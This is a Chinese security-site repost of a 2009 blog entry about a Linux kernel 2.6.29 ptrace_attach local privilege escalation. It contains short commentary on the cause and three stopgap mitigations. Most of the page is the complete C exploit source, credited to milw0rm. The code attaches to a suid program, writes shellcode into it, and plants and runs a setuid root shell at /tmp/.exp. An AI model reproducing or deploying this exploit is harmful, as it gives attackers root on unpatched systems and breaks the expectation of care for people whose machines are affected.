首页 网络安全 安全学院 查看内容

Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit

2009-5-15 09:28 568 0

摘要:   鬼仔blog  鬼仔:加点其他跟这个漏洞相关的信息。  ----------------------------  素包子:  素包子快速的看了下漏洞利用程序,原理应该是通过 ptrace挂到一个...
关键词: include ptrace unsigned printf exp tmp root long 漏洞 struct

  鬼仔blog  鬼仔:加点其他跟这个漏洞相关的信息。  ----------------------------  素包子:  素包子快速的看了下漏洞利用程序,原理应该是通过 ptrace挂到一个suid root程序上,然后利用ptrace_attach函数的漏洞,以root权限执行指令,产生/tmp/.exp这个local root shell。不幸中的万幸,这个exp写的稍微有点问题,在REDHAT里需要稍作修改才能成功获得root权限。  素包子提供几个临时解决方案以供大家选择(以下方案由简至难):  1、禁用本地所有普通用户账号,直到发布补丁。此方案无法防止有webshell的黑客获得root权限。  2、禁用系统所有的suid root程序,直到发布补丁。此方案会导致系统部分功能无法正常使用。  3、安装sptrace LKM禁用普通用户使用ptrace。此方案对业务影响相对较小,但实施较为复杂。  ----------------------------  noop:  漏洞并不是本来存在于ptrace里面的,而是因为在2.6.29中引入了cred_exec_mutex互斥对象,但是使用的时候lock错了对象造成的。所以2.6.29以下版本不要去动脑筋了,没用的。  /*  ptrace_attach privilege escalation exploit by s0m3b0dy  [*] tested on Gentoo 2.6.29rc1  grataz:  Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...  email: s0m3b0dy1 (at) gmail.com  */  #include <grp.h>  #include <stdio.h>  #include <fcntl.h>  #include <errno.h>  #include <paths.h>  #include <string.h>  #include <stdlib.h>  #include <signal.h>  #include <unistd.h>  #include <sys/wait.h>  #include <sys/stat.h>  #include <sys/param.h>  #include <sys/types.h>  #include <sys/ptrace.h>  #include <sys/socket.h>  char shellcode[] =  "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"  "\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"  "\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"  "echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0)  printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" >  /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";  struct user_regs_struct322 {  unsigned long ebx, ecx, edx, esi, edi, ebp, eax;  unsigned short ds, __ds, es, __es;  unsigned short fs, __fs, gs, __gs;  unsigned long orig_eax, eip;  unsigned short cs, __cs;  unsigned long eflags, esp;  unsigned short ss, __ss;  };  main()  {  struct user_regs_struct322  regs;  struct stat buf;  int i,o;  unsigned long * src;  unsigned long * dst;  char *env[2];  env[0]="/usr/bin/gpasswd";  // some suid file  env[1]=0;  if((o=fork()) == 0)  {  execve(env[0],env,0);  exit(0);  }  if(ptrace(PTRACE_ATTACH,o,0,0)==-1)  {  printf("\n[-] Attach\n");  exit(0);  }  wait((int *)0);  if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){  printf("\n[-] read registers\n");  exit(0);  }  printf( "[+] EIP - 0x%08lx\n", regs.eip);  dst= (unsigned long *) regs.eip;  src = (unsigned long *) shellcode;  for(i=0;i<sizeof(shellcode) -1;i+=4)  if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){  printf("\n[-] write shellcode\n");  exit(0);  }  ptrace(PTRACE_CONT, o, 0, 0);  ptrace(PTRACE_DETACH,o,0,0);  printf("[+] Waiting for root...\n");  sleep(2);  if(!stat("/tmp/.exp",&buf))  {  printf("[+] Executing suid shell /tmp/.exp...\n");  execv("/tmp/.exp",0);  }  else  {  printf("[-] Damn no r00t here :(\n");  }  return 0;  }  // milw0rm.com [2009-05-13]
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部